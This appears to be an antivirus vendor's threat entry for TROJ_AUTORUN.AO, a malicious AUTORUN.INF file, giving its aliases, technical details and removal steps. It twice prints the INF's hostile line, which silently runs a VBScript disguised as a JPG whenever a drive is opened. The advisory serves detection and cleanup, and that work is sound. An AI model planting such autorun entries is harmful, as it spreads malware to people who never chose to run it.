Analysis by: Michael Cabel
ALIASES:

Microsoft : Worm:Win32/Tifi.A!inf; Kaspersky: Worm.VBS.Autorun.gt

 PLATFORM:

Windows 2000, XP, Server 2003

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  TECHNICAL DETAILS

File Size: 110 bytes
File Type: INF
Memory Resident: No
Initial Samples Received Date: 18 Nov 2010

Propagation

The said .INF file contains the following strings:

[autorun]
shellexecute=Wscript.exe /e:vbs winfile.jpg

Other Details

This Trojan does the following:

  • This is Trend Micro detection for AUTORUN.INF file dropped by other malware on physical and removable drives to enable its automatic execution everytime the said drives are accessed.

  SOLUTION

Minimum Scan Engine: 8.900

Step 1

For Windows XP and Windows Server 2003 users, before doing any scans, please make sure you disable System Restore to allow full scanning of your computer.

Step 2

Search and delete AUTORUN.INF files created by TROJ_AUTORUN.AO that contain these strings

[ Learn More ]
[autorun]
shellexecute=Wscript.exe /e:vbs winfile.jpg

Step 3

Scan your computer with your Trend Micro product to delete files detected as TROJ_AUTORUN.AO. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


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